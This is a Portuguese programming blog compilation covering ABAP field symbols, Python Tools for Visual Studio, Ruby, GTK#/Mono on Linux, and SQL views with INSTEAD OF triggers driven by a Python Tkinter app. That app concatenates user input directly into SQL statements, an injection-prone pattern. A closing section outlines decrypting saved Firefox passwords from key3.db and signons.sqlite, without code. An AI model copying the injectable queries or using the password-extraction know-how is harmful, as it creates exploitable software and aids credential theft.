SAP – Field Symbols – Abap

Publicado: 10 de setembro de 2014 em Abap

Os Field Symbols são espaços reservados na memoria ou nomes simbólicos para outros campos. Eles não reservam um espaço físico para  os símbolos declarados, mas apontam para o seu conteúdo. Um Field Symbol pode apontar para qualquer objeto de dados.

Sempre que você endereçar um Field Symbol em um programa, você está endereçando o campo que é atribuído ao Field Symbol, deste modo não há mais diferença se você faz referência ao símbolo ou ao próprio campo. Campos de símbolo são similares aos ponteiros de referencia em C, que utilizam o caractere * (asterisco).

Abap - Field Symbol

Abap – Field Symbol

Exemplo:

Neste exemplo criamos uma linha de dados contendo duas colunas, a primeira coluna possui o conteúdo “dados”, após criarmos o campo de símbolo, o endereçamos a linha de dados,  o utilizamos como um ponteiro para igualar o valor contido na primeira coluna para a coluna vazia e exibimos novamente a linha de dados, assim podemos ver que ao manipular o ponteiro do campo de símbolo também estamos manipulando a linha de dados.

Abap

*&---------------------------------------------------------------------*
*& Report  ZFIELDSYMBOL
*&
*&---------------------------------------------------------------------*
*& Desenvolvimento Aberto
*& Field Symbols
*&---------------------------------------------------------------------*

REPORT  ZFIELDSYMBOL.

* Declara objeto de dados
DATA: BEGIN OF linha,
        inicio(5) TYPE c VALUE 'DADOS',
        fim(5) TYPE c ,
      END OF linha.

* imprime valor da linha
WRITE : / 'Conteudo da linha:'.
WRITE : / 'Inicio: ', linha-INICIO, ' Fim: ', linha-FIM.

* Cria simbolo
FIELD-SYMBOLS <f> LIKE linha.

* Cria ponteiros de referencia
ASSIGN linha TO <f>.

* Move referencia
* Veja que ao mover os pointeiros
* Movemos o conteudo da variavel
* Isto porque um Field Symbol funciona como um Placeholder
MOVE <f>-INICIO TO <f>-FIM.

* re-imprime valor da linha
skip 1.
WRITE: / 'Field Simbolo (Pointer) reorganizado:'.
WRITE : / 'Inicio: ', linha-INICIO, ' Fim: ', linha-FIM.

 

A Microsoft mudou como empresa e está se tornando mais aberta e decidiu contribuir e firmar parcerias com as comunidades de código aberto e promover a interoperabilidade para tornar mais fácil e se tornar menos onerosa para os clientes que pretendem desenvolver e gerenciar ambientes de TI mistos. A Microsoft pretende participar ativamente do processo de definição de padrões e prestar apoio aos padrões já estabelecidos, em seus produtos emergentes.

A parceria se estende deste linguagens de programação como Java, Python e Ruby, programação para web como PHP e Drupal, tecnologia de servidores como Apache e Node.JS, servidores de banco de dados como MongoDB e até com o sistema operacional Linux, como a aliança firmada com a distribuição SUSE.

Suse/Microsoft: https://www.moreinterop.com/

Os membros mais céticos da comunidade Open Source ainda veem a entrada da Microsoft na comunidade com desconfiança devido a sua tradição de “parcerias” que resultaram em melhorias ou vários novos produtos muito rentáveis para seu casting e podemos citar alguns itens do seu tradicional histórico na qual mais recebeu do que contribuiu, como a parceria com a Sybase que resultou no Microsoft SQL Server, o Visual J++ e J# (Java .NET) que não foi endossado ou aprovado pela Sun Microsystems, a parceria com a SAP que ainda rende bons frutos adaptando o Windows Server e o MSSQL a nível empresarial para suportar sistemas críticos de grande porte que cujo o know-how adquirido ainda rendeu o extinto Solomon e seu atual ERP chamado Dynamics, entre inúmeras outras parcerias.

Microsoft Openness: http://www.microsoft.com/en-us/openness/default.aspx

 

Python Tools for Visual Studio

 O Python Tools for Visual Studio é um plugin de código aberto gratuito que transforma o Visual Studio em uma IDE Python.  O PTVs suporta CPython, IronPython, edição, navegação, Intellisense, misturado Python com  C++, suporta depuração, acesso remoto ao sistema operacional Linux e MacOS  para depuração, profiling, IPython, Django e computação em nuvem com bibliotecas do cliente para Windows, Linux e MacOS. O Python Tools for Visual Studio foi projetado, desenvolvido pela Microsoft e pela sua comunidade de código aberto.

PyTools: http://pytools.codeplex.com/

1 – Para instalar baixe o plugin pelo VS ou pelo site da Codeplex, abra o arquivo de instalação como administrador:

Licença Apache

Licença Apache

2 – Clique em instalar para iniciar a instalação:

Instalando

Instalando

3 – Clique em Finish quando a instalação tiver sido concluida:

Concluir

Concluir

4 – Nós presumimos que você já tenha a instalação do Python no seu computador, caso ainda não tenha acesse o link abaixo e instale a versão adequada para seu proposito, caso queira utilizar a tecnologia Google Cloud com Python, somente a versão 2.7.8 é suportada:

Python: https://www.python.org/download

Abra o Visual Studio e crie um novo Projeto do Tipo Python  e escolha um projeto do tipo, Python Application:

Projeto Python

Projeto Python

5 – Digite o código abaixo e compile o programa:

Python - Tkinter - Hello World

Python – Tkinter – Hello World

Pronto, você já pode utilizar a tecnologia Python da IDE Microsoft Visual Studio, para instruções completas de todos os recursos da ferramenta e utilize a documentação oficial:

Documentação: http://pytools.codeplex.com/documentation

Exemplo:

Neste exemplo compilamos um simples programa criado no sistema operacional Linux com a interface visual nativa do Python chamada Tkinter.

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Desenvolvimento Aberto
# visual.py

# importa modulo
from Tkinter import *

# Cria formulario
formulario = Tk()

# Cria um variavel de Texto.

texto = "Desenvolvimento Aberto\n\n" + \
         "Hello World\nTkinter!!!!" + \
         "\n\nVisual Studio"

# Cria um novo label
rotulo = Label(formulario, text = texto)

# Retira espaço desocupado na janela
rotulo.pack(padx=20, pady=20)

# Roda o loop principal do tcl
mainloop()

 

Como de costume sempre ressaltamos que Ruby é uma linguagem diferenciada por ser puramente orientada a objeto, isto significa que ao contrario de muitas linguagens de programação mais tradicionais, números inteiros e números flutuantes em Ruby não são tipos primitivos e sim objetos, assim acontece também com os objetos Strings. Por este motivo o Ruby possui uma simplificada e poderosa sintaxe cheia de recursos tornando muito fácil manipular objetos do tipo string, integer e float.

Strings

Um objeto String mantém e manipula uma sequência arbitrária de bytes, normalmente representando caracteres.

String: http://www.ruby-doc.org/core-2.1.2/String.html

Integers

Esta classe é a base para as duas classes concretas que sustentam números inteiros, Bignum e Fixnum.

Integer: http://www.ruby-doc.org/core-2.1.2/Integer.html

Floats

Objetos flutuantes representam números reais inexatos utilizando precisão de dupla representação de ponto flutuante da arquitetura nativa.

Float: http://www.ruby-doc.org/core-1.9.3/Float.html

Ruby - Strings - Integers - Floats

Ruby – Strings – Integers – Floats

Exemplo:

Neste exemplo manipulamos objetos literais, inteiros e flutuantes através das classes da linguagem de programação Ruby.

Ruby

#!/usr/bin/env ruby
# Desenvolvimento Aberto
# Variaveis.rb

# Inteiros
2.times() {puts "Contagem Regressiva"}

puts "\nContando..."
5.downto(1) {|x| puts x}
puts "Booommm!!!"

# Flutuantes
puts "\nFlutuantes"
float = 5.to_f

puts "Numero flutuante: " + String(float) + " Adicionando 4.3: Total= " + String(float + 4.3)

# Strings
puts "\nObjetos Strings\n"
puts "desenvolvimento".capitalize + " " + "aberto".capitalize
puts "desenvolvimento".upcase
puts "ABERTO".downcase

Mono – Linux Forms – GTK# – Linux

Publicado: 29 de agosto de 2014 em Linux

Na verdade o termo “Linux Forms” não existe é só uma boa chamada para o post fazendo alusão ao Windows Forms, o termo correto é Gtk# (g-t-k-sharp). O  Gtk# é um Toolkit de interface gráfica do usuário para Mono e .Net. O projeto Gtk# liga o GTK+ toolkit e bibliotecas variadas do GNOME, permitindo o desenvolvimento de aplicações gráficas GNOME totalmente nativas utilizando os frameworks de desenvolvimento Mono e o .NET.

O que é GTK+ ?

O GTK+, ou o GIMP Toolkit, é um conjunto de ferramentas multi-plataforma para criar interfaces gráficas de usuário. Oferecendo um conjunto completo de widgets, o GTK+ é adequado para vários tipos de projetos desde pequenas ferramentas até para suítes completas de aplicativos.

GTK: http://www.gtk.org/

Desenvolvendo com  o GTK#

Tenha em mente que o projeto nativo para criar aplicativos equivalentes ao Windows Forms para Linux é o Gtk# apesar do Mono também suportar projetos criados no Windows Forms. O Gtk# e Windows Forms não são iguais possuindo varias diferenças entre si, desde o modo para criar aplicações gráficas em Design Time, até nas instruções C# que manipulam seus Widgets.

Hello World GTK#

1 – Para criar um projeto visual Mono para Linux utilizando Gtk#, abra o Mono Develop e crie um projeto GTK#, assim que a solução e o projeto forem criados, clique na unidade de código C# chamada MainWindow.cs e clique no botão Design:

Gtk# - Forms

Gtk# – Forms

 

2 – Os componentes do GTK# ao contrario do Visual Studio (Windows Forms) não herdam a classe Point e não possuem a propriedade Location, então você precisa aloja-los dentro de Widgets do tipo Containers. Na janela de propriedades arraste um componente Vbox para o formulário:

Vbox

Vbox

3 – Na parte superior do Vbox, adicione um componente Menubar, na parte inferior adicione um componente Statusbar, adicione no meio um componente Table, crie os menus de modo similar ao Visual Studio e coloque um componente Label dentro do Statusbar, delete uma de suas colunas sobressalentes, dica, use o combobox da IDE quando precisar navegar pelos Widgets:

Menubar, Statusbar e Table

Menubar, Statusbar e Table

4 – Dentro das células da tabela coloque os componentes Labels, Entrys e Togglebutton, você pode adicionar ou apagar linhas e colunas na tabela clicando com o botão direito do mouse sobre ela e pode alinha-las utilizando a barra de tarefas do lado do combobox que mostra o componente com foco no qual você esta utilizando:

Layout - Widgets

Layout – Widgets

5 – Na janela de propriedades, clique na aba Signals que é equivalente aos eventos no Visual Studio, Clique no botão e expanda a opção Button Signals, dê um duplo clique na propriedade Clicked, um evento equivalente ao evento OnClick do Visual Studio será criado na sua unidade de código C#:

Signals - Eventos

Signals – Eventos

6 – Complete o código de sua unidade de código C# com o código encontrado logo abaixo, atente-se que criamos uma caixa de mensagem para o evento de clique do botão e apesar da sintaxe ser igual as instruções para realizar esta tarefa são diferentes, compile o código e teste o programa:

C#  - Linux

C# – Linux

Você verá que apesar das diferenças o  Mono funciona bem para Linux, é fácil e rápido desenvolver interfaces visuais de nível profissional. O Mono gera um arquivo executável com a extensão .exe para Linux, apesar da extensão não significar nada para o sistema operacional ainda assim é fácil para usuários leigos identificar programas executáveis para Linux.

Exemplo:

Neste exemplo criamos um aplicativo Mono utilizando o modelo de projeto Gtk#, você pode terminar o código implementando os eventos para os botões dos menus.

C#

using System;
using Gtk;

public partial class MainWindow: Gtk.Window
{
	public MainWindow () : base (Gtk.WindowType.Toplevel)
	{
		Build ();
	}

	protected void OnDeleteEvent (object sender, DeleteEventArgs a)
	{
		Application.Quit ();
		a.RetVal = true;
	}

	protected void OnTogglebutton1Clicked (object sender, EventArgs e)
	{

		// Cria uma caixa de menssagem (win forms = MessageBox)

                 String texto = "Nome: " + entry1.Text +
                                "\nSobrenome: " + entry2.Text +
                                "\nEndereço: " + entry3.Text;

	         // Cria dialogo
		MessageDialog dlg = new MessageDialog (null, DialogFlags.Modal, MessageType.Info, ButtonsType.Ok, texto);

		// chama dialogo
		dlg.Run ();

		// Destroi diaglogo
		dlg.Destroy();

		throw new NotImplementedException ();
	}
}

O .Net Framework da Microsoft é uma plataforma de software projetado para permitir que os desenvolvedores criem facilmente aplicações multi-plataforma, entretanto o suporte oficial da Microsoft limita-se ao sistema operacional Windows. Para que possamos portar aplicativos escritos em .Net Framework para outras plataformas além do Windows como, Linux, Mac OS X, iPhone OS, Oracle Solaris, FreeBSD e outros, precisamos utilizar a plataforma chamada Mono que é patrocinada pela empresa Xamarin. Podemos utilizar ainda uma IDE de desenvolvimento Open Source chamada MonoDevelop para criar programas em qualquer linguagem suportada pelo .Net Framework.

O que é Mono?

Mono é uma implementação open source do .NET Framework da Microsoft com base nos padrões ECMA para C# e Common Language Runtime. Uma família crescente de soluções e uma comunidade ativa e entusiasta que contribui e está ajudando o Mono a se posicionar como a principal escolha para o desenvolvimento de aplicações multi-plataforma.

Mono: http://www.mono-project.com/

O que é MonoDevelop?

É uma IDE multi-plataforma projetada principalmente para C# e outras linguagens .NET. O MonoDevelop permite aos desenvolvedores escrever rapidamente aplicações desktop e Web ASP.NET no Linux, Windows e Mac OSX. O MonoDevelop torna fácil aplicativos .NET que foram criados com o Visual Studio serem portados para Linux e Mac OSX mantendo uma única base de código para todas as plataformas.

MonoDevelop: http://monodevelop.com/

Instalando o Mono e o MonoDevelop

1- Para instalar o Mono no sistema operacional Linux podemos utilizar um PPA da Canonical para Ubuntu. Abra o terminal e digite os seguintes comandos:


sudo apt-get install software-properties-common
sudo add-apt-repository ppa:inizan-yannick/mono
sudo apt-get update
sudo apt-get install mono-devel

Mono -V para ver a versão

Mono -V para ver a versão

2 – Podemos instalar o MonoDevelop de um modo fácil pela GUI do Ubuntu, clicando no primeiro ícone do menu (pesquisa) e escrevendo a palavra “central”:

Pesquisa Ubuntu

Pesquisa Ubuntu

3 – Abra a Central de programas do Ubuntu e digite a palavra MonoDevelop, em seguida selecione o programa e clique em instalar:

Instalando o MonoDevelop

Instalando o MonoDevelop

4 – Após o termino da instalação abra o programa pelo ícone do Mono, que foi adicionado automaticamente ao menu e escolha criar uma Solução de Projeto Modo Texto, que é equivalente a um projeto de Console no Visual Studio:

Solução - Modo Texto

Solução – Modo Texto

5 – A Solução e o projeto serão criados contendo o código de um tradicional programa Hello World, modifique de acordo com o programa abaixo e rode a aplicação que será executada no terminal do Linux:

Programa C# - Linux

Programa C# – Linux

Agora você pode utilizar os programas da categoria C# e portar para a plataforma Linux ou MAC OSX, clique no link a seguir para saber mais sobre a portabilidade do .NET Framework para o Mono.

Portabilidade: http://www.mono-project.com/docs/getting-started/application-portability/

Exemplo:

Neste exemplo instalamos a plataforma Mono, instalamos a IDE MonoDeveloper e criamos um tradicional programa HelloWorld.

C#

using System;

namespace NetLinux
{
	class MainClass
	{
		public static void Main (string[] args)
		{
			Console.WriteLine ("Desenvolvimento Aberto!\n");
			Console.WriteLine ("Hello World Mono!");
		}
	}
}

Uma View ou visão em português, é uma tabela virtual. A View não possui um armazenamento de dados permanente associado a ela, mas é baseada em outra tabela ou tabelas. Existem vários tipos de visões, elas podem variar suas funcionalidades de banco de dados para banco de dados, as Views mais comum são do tipo padrão, particionada ou materializada.

A visão fornece uma forma alternativa de olhar os dados em uma ou mais tabelas. A vista é uma especificação chamada de uma tabela de resultados. Conceitualmente, a criação de um ponto de vista é como o uso de binóculos. Você pode olhar através de binóculos para ver uma paisagem inteira ou olhar para uma imagem específica dentro da paisagem, como uma árvore. Da mesma forma, você pode criar uma visão que combina dados de diferentes tabelas de base ou criar uma visão limitada de uma tabela que omite dados. Na verdade, estes são os motivos mais comuns para usar um ponto de vista. Combinando informações de tabelas de base simplifica a obtenção de dados para o usuário final, e limitar os dados que um usuário pode ver é útil para fins de segurança.

Devido aos vários tipos diferentes de Views e suas respectivas diferenças de funcionalidades entre os bancos de dados Oracle, IBM DB2 e MSSQL é recomendado que você utilize os links oficiais para referencia:

Oracle: Create View
IBM DB2: Create View
Microsoft SQL Server: Create View

Python - View/Trigger

Python – View/Trigger

Algo Extremamente Útil Sobre Views

As Views são essenciais para uma boa performance de um sistema que manipula dados, elas são uteis de muitas maneiras diferentes, todos os sistemas grande porte utilizam tipos de View.

As Views acrescentam performance a aplicação, podem conter constraints e índices, podem criar visões baseadas em formato XML, podem ser utilizadas para fins de segurança, podem ser criadas a partir de tabelas particionadas alocadas em vários servidores diferentes e retornar uma visão única, são fundamentais na criação de complexos relatórios, modelo de dados para exportação e até no manuseio de cadastros.

As Views possuem um recurso muito útil quando unidas ao evento INSTEAD OF de uma Trigger, na verdade este tipo de evento foi desenvolvido especialmente para a utilização em conjunto com uma View (exceto para banco de dados MSSQL que permite o uso em tabelas comuns). A utilização do evento “ao invés de” em uma View permite que o desenvolvedor ganhe a maior performance possível na distribuição de dados baseados em uma única visão para varias tabelas físicas contidas em locais diferentes.

Isto acontece porque, por exemplo, um formulário de cadastramento complexo geralmente é composto de varias tabelas interligadas pelo seu identificador, a combinação ViewTrigger permite que você retorne em uma única pesquisa todo o cadastro utilizando um único acesso. Quando disparado um evento para criar um cadastro novo ou modificar um cadastro existente em cima de uma View, automaticamente uma Trigger “ao invés de inserir” ou “ao invés de alterar” pode distribuir todos os dados alimentados pelo usuário em cada tabela especifica, tendo em seu beneficio, que todo o processo esta sendo efetuado dentro do motor do banco de dados.

Exemplo:

Neste exemplo utilizamos o conceito básico de uma View em conjunto com o evento INSTEAD OF de uma Trigger, no programa abaixo o método de inserção esta completo, fica como exercício criar o método INSTEAD OF UPDATE e INSTEAD OF DELETE.

Você encontra uma visão contendo duas tabelas relacionadas, a tabela Funcionários e Desconto, e a partir de uma trigger utilizamos o evento “ao invés de inserir” para distribuir os dados para suas respectivas tabelas. Na aplicação Python o campo porcentagem se encontra em outra tabela, você pode utilizar este exemplo básico para criar cadastros mais complexos.

* Para referencia sobre as triggers utilize nosso post Python com o tópico Triggers.

** Você encontra este mesmo programa utilizando SQL direto na aplicação, clicando aqui.

SQL

Oracle

-- Cria tabela de funcionarios
create table Funcionarios(
  ID_Funcionario  NUMBER(5),
  Nome            VARCHAR2(30),
  Sobrenome       VARCHAR2(70),
  Cargo           VARCHAR2(30),
  Salario         NUMBER(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO NUMBER,
  PORCENTAGEM NUMBER(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   FOR EACH ROW 

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     :new.ID_FUNCIONARIO,
     :new.NOME,
     :new.SOBRENOME,
     :new.CARGO,
     :new.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     :new.ID_FUNCIONARIO,
     :new.PORCENTAGEM);  

   END CADFUNC_INSERT;

IBM DB2

-- Desenvolvimento Aberto --
-- Atente-se para o terminador de instruções
-- o IBM DATA STUDIO não consegue utilizar
-- Begin... END com scripts sql
-- Mude o terminador para o caractere @
-- para mudar clique com o botão direito do mouse aqui!!!

-- Cria tabela de funcionarios
create table Funcionarios (
    ID_Funcionario  INTEGER,
    Nome            VARCHAR(30),
    Sobrenome       VARCHAR(70),
    Cargo           VARCHAR(30),
    Salario         NUMERIC(9,2))@

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INTEGER,
  PORCENTAGEM DECIMAL(9,2))@

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO@

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   REFERENCING NEW AS N
      FOR EACH ROW 

  T1:  BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     N.ID_FUNCIONARIO,
     N.NOME,
     N.SOBRENOME,
     N.CARGO,
     N.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     N.ID_FUNCIONARIO,
     N.PORCENTAGEM);  

   END T1

MSSQL Server

-- Cria tabela de funcionarios
create table Funcionarios (
   ID_Funcionario  Int,
   Nome            VARCHAR(30),
   Sobrenome       VARCHAR(70),
   Cargo           VARCHAR(30),
   Salario         Decimal(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INT,
  PORCENTAGEM DECIMAL(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create Trigger CADFUNC_INSERT
    ON CadFuncionario INSTEAD OF INSERT as

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS
	Select
       ID_FUNCIONARIO,
       NOME,
       SOBRENOME,
       CARGO,
       SALARIO
	from inserted;

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO
	 Select
       ID_FUNCIONARIO,
      PORCENTAGEM
     from inserted

   END;

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Desenvolvimento Aberto
# View.py
 
# importa modulos
from Tkinter import *
import tkMessageBox
import cx_Oracle
import ibm_db
import odbc
 
# Cria formulario
formulario = Tk(className='Desenvolvimento aberto - View & Trigger')
formulario.geometry("470x390+300+300")
 
# Cria janela para menssagem
janela = Tk()
janela.wm_withdraw()
 
# Define banco de dados
# oracle = Oracle Database
# db2 = IBM DB2 Database
# mssql = Microsoft SQL Server
DBconexao = "oracle"
 
# Cria conexão com o banco de dados
def conectar(banco):
    # Cria string de conexão Oracle
    if (banco == "oracle"):
        sconexao = "user/pass@localhost/XE"
        try:
            con = cx_Oracle.connect(sconexao)
        except ValueError:
            tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    if (banco == "db2"):
        # Cria string de conexão IBM
        sconexao = "DATABASE=DEVA" +  \
                   ";HOSTNAME=localhost;PORT=50000;PROTOCOL=TCPIP;" + \
                   "UID=user;" + \
                   "PWD=pass"
        try:
            con = ibm_db.connect(sconexao, "", "")
        except ValueError:
            tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    if (banco == "mssql"):
        # Cria string de conexão MSSQL ODBC
        sconexao =  "MSSQLSERVER/user/pass"
        try:
            con = odbc.odbc(sconexao)
        except ValueError:
           tkMessageBox.showinfo(title="Menssagem", message="Erro de Conexão", parent=janela)
 
    return con
 
# Executa e retorna cursor
def retornaFuncionarioID(sql, con, banco):
    if (banco == "oracle"):
        cursor = con.cursor()
        cursor.execute(sql)
    if (banco == "db2"):
        cursor = ibm_db.exec_immediate(con, sql)
    if (banco == "mssql"):
        cursor = con.cursor()
        cursor.execute(sql)
    return cursor
 
# Limpa campo
def limpar():
    tcodigo.delete(0, END)
    tpnome.delete(0, END)
    tsnome.delete(0, END)
    tcargo.delete(0, END)
    tsalario.delete(0, END)
    tporcentagem.delete(0, END)
 
# Evento do botão
def on_Pesquisar():
    # Exibe banco de dados
    titulo['text'] = "Database: " + DBconexao
 
    # Cria conexão
    con = conectar(DBconexao)
 
    # Define e executa SQL
    sql = "Select * From CadFuncionario Where  ID_FUNCIONARIO = " + tpesquisa.get()
    tabela = retornaFuncionarioID(sql, con, DBconexao)
 
    # Cria cursor
    if (DBconexao == "oracle"):
        dados = tabela.fetchone()
    if (DBconexao == "db2"):
        dados = ibm_db.fetch_tuple(tabela)
    if (DBconexao == "mssql"):
        dados = tabela.fetchone()
 
    # Exibe dados
    limpar()
    tcodigo.insert(0, str(dados[0]))
    tpnome.insert(0, dados[1])
    tsnome.insert(0, dados[2])
    tcargo.insert(0, dados[3])
    tsalario.insert(0, str(dados[4]))
    tporcentagem.insert(0, str(dados[5]))
 
# limpa widgets
def on_novo():
    limpar()
    tcodigo.focus()
 
# Insere dados
def on_inserir():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()
 
    sql ="Insert into CadFuncionario Values (" + \
          tcodigo.get() + ", '" + \
          tpnome.get() + "', '" + \
          tsnome.get() + "', '" + \
          tcargo.get() + "', " + \
          str(tsalario.get()).replace(",",".") + ", " + \
          str(tporcentagem.get()).replace(",",".")+ ")"
    try:
        if (DBconexao != "db2"):
            cursor.execute(sql)
            con.commit()
        else:
            cursor = ibm_db.exec_immediate(con, sql)
        tkMessageBox.showinfo(title="Menssagem", message="Dados inseridos com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao inserir dados!", parent=janela)
 
# Altera dados
def on_alterar():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()

    #
    # TODO: Criar Trigger - INSTEAD OF UPDATE
    #
 
    sql ="Update CadFuncionario set " + \
          "ID_FUNCIONARIO = " + tcodigo.get() + ", NOME= '" + \
          tpnome.get() + "', SOBRENOME= '" + \
          tsnome.get() + "', CARGO= '" + \
          tcargo.get() + "', SALARIO= " + \
          str(tsalario.get()).replace(",",".") + ", " +  \
          str(tporcentagem.get()).replace(",",".") + " Where ID_FUNCIONARIO=" + tcodigo.get()
 
    try:
 
       if (DBconexao != "db2"):
           cursor.execute(sql)
           con.commit()
       else:
           cursor = ibm_db.exec_immediate(con, sql)            
 
       tkMessageBox.showinfo(title="Menssagem", message="Dados alterados com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao alterar dados!", parent=janela)
 
# Exclui dados
def on_apagar():
    con = conectar(DBconexao)
    if (DBconexao != "db2"): cursor = con.cursor()
 
    sql ="Delete From CadFuncionario Where ID_FUNCIONARIO = " + tcodigo.get()

    #
    # TODO: Criar Trigger - INSTEAD OF DELETE
    #
 
    try:
        if (DBconexao != "db2"):
            cursor.execute(sql)
            con.commit()
        else:
            cursor = ibm_db.exec_immediate(con, sql)
        limpar()
        tkMessageBox.showinfo(title="Menssagem", message="Dados excluidos com sucesso!", parent=janela)
    except ValueError:
        tkMessageBox.showinfo(title="Menssagem", message="Erro ao excluir dados!", parent=janela)
 
# Cria componentes widgets
titulo = Label(formulario, text="Database: Nenhum")
separador1 = Frame(height=2, bd=1, relief=SUNKEN)
separador2 = Frame(height=2, bd=1, relief=SUNKEN)

# labels
lcodigo = Label(formulario, text="Codigo:")
lpnome = Label(formulario, text="Nome:")
lsnome = Label(formulario, text="Sobrenome:")
lcargo = Label(formulario, text="Cargo:")
lsalario = Label(formulario, text="Salario:")
lporcentagem = Label(formulario, text="Porcentagem (%):")
 
# Entry
tcodigo = Entry(formulario)
tpnome = Entry(formulario)
tsnome = Entry(formulario)
tcargo = Entry(formulario)
tsalario = Entry(formulario)
tporcentagem = Entry(formulario)
 
# Pesquisa
lpesquisa = Label(formulario, text="Pesquisa:")
tpesquisa = Entry(formulario)
botao = Button(formulario, text = "Pesquisar", command=on_Pesquisar)
 
#Ações
painel = Frame()
bnovo = Button(painel, text="Novo", command=on_novo)
binserir = Button(painel, text="Inserir", command=on_inserir)
balterar = Button(painel, text="Alterar", command=on_alterar)
bapagar = Button(painel, text="Apagar", command=on_apagar)
 
# Define Layout
titulo.grid(row=0, sticky=W+E+N+S, pady=20)
separador1.grid(row=1,sticky=W+E+N+S, columnspan=3)

lcodigo.grid(row=3, sticky=W, padx=20)
tcodigo.grid(row=3, column=1, pady=5)
lpnome.grid(row=4,sticky=W, padx=20)
tpnome.grid(row=4, column=1, pady=5)
lsnome.grid(row=5,sticky=W, padx=20)
tsnome.grid(row=5, column=1, pady=5)
lcargo.grid(row=6, sticky=W, padx=20)
tcargo.grid(row=6, column=1, pady=5)
lsalario.grid(row=7, sticky=W, padx=20)
tsalario.grid(row=7, column=1, pady=5)
lporcentagem.grid(row=8, sticky=W, padx=20)
tporcentagem.grid(row=8, column=1, pady=5)
 
# Layout pesquisa
lpesquisa.grid(row=2, column=0, pady=20)
tpesquisa.grid(row=2, column=1, pady=20)
botao.grid(row=2, column=2,padx=10, pady=20)
 
# Loayout Ações
bnovo.grid(row =1, column=0, pady=10)
binserir.grid(row =1, column=1, pady=10)
balterar.grid(row =1, column=2, pady=10)
bapagar.grid(row =1, column=3, pady=10)
separador2.grid(row=9, sticky=W+E, columnspan=3, pady=10)
painel.grid(row=10, sticky=W+E, column=1, columnspan=1)
 
# loop do tcl
mainloop()

A Mozilla Foundation é uma fundação sem fins lucrativos que mantém todo o software e projetos Open Source da linha Mozilla, como Firefox, Thunderbird e complementos para os mesmo. Também é responsável por produzir documentação relacionada à internet e promover padrões de produção de conteúdo digital.

O Mozilla Firefox é um navegador livre e multi-plataforma desenvolvido pela Mozilla Foundation com ajuda de centenas de colaboradores. A intenção da fundação é desenvolver um navegador leve, seguro, intuitivo e altamente extensível.

Entre os navegadores mais utilizados da atualidade o Firefox é de longe o mais seguro, a empresa Mozilla desenvolveu um conjunto de bibliotecas de código aberto chamado de Serviços de Segurança de Rede, ou NSS, para fornecer aos desenvolvedores a capacidade de criar aplicativos que atendem a uma ampla variedade de padrões de segurança. O Firefox faz uso de uma API nesta biblioteca chamado Secret Decoder Ring, ou SDR, para facilitar a criptografia de credenciais da conta.

Estes valores são criptografados, e então, armazenados em um banco de dados SQLite chamado signons.sqlite codificado em base64. Tanto o signons.sqlite e key3.db fazem parte do contexto do usuário local. A chave SDR é guardada em um recipiente chamado de PKCS #11, que é um Token encapsulado dentro de um Slot do mesmo tipo.

Como Descriptografar as senhas do Firefox

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Firefox:

DA - Firefox Password Recovery - Linux

DA – Firefox Password Recovery – Linux

Requisitos

Linguagem:  Python.

Nivel: Difícil.

Modulos Externos Python: Download WxPython  ou use: aptget install pythonwxgtk2.8

Detalhes Sobre a Criptografia: Network Security Services 

Tipo de criptografia: PK11SDR_Encrypt

Detalhes Sobre o Armazenamento de credenciais Firefox: SQLLite

Local físico de armazenamento das credenciais:  ~/.mozilla/firefox

Nome do banco de dados: key3.db, signongs.sqlite, cert8.db

Multi-Plataforma

A linguagem de programação Python é multi-plataforma, então poderíamos supor que este programa funcionaria em Windows ou Mac sem nenhum problema correto?

Errado! Apesar de 99% deste programa ser multi-plataforma, 1% dele não é! Apenas uma linha de código! Justamente por este motivo preferimos criar este programa para uma versão Linux, para ressaltar que um desenvolvedor deve conhecer o sistema operacional no qual esta programando independente da linguagem ser multi-plataforma ou não, isto se deve aos diversos conceitos entre os sistemas operacionais.

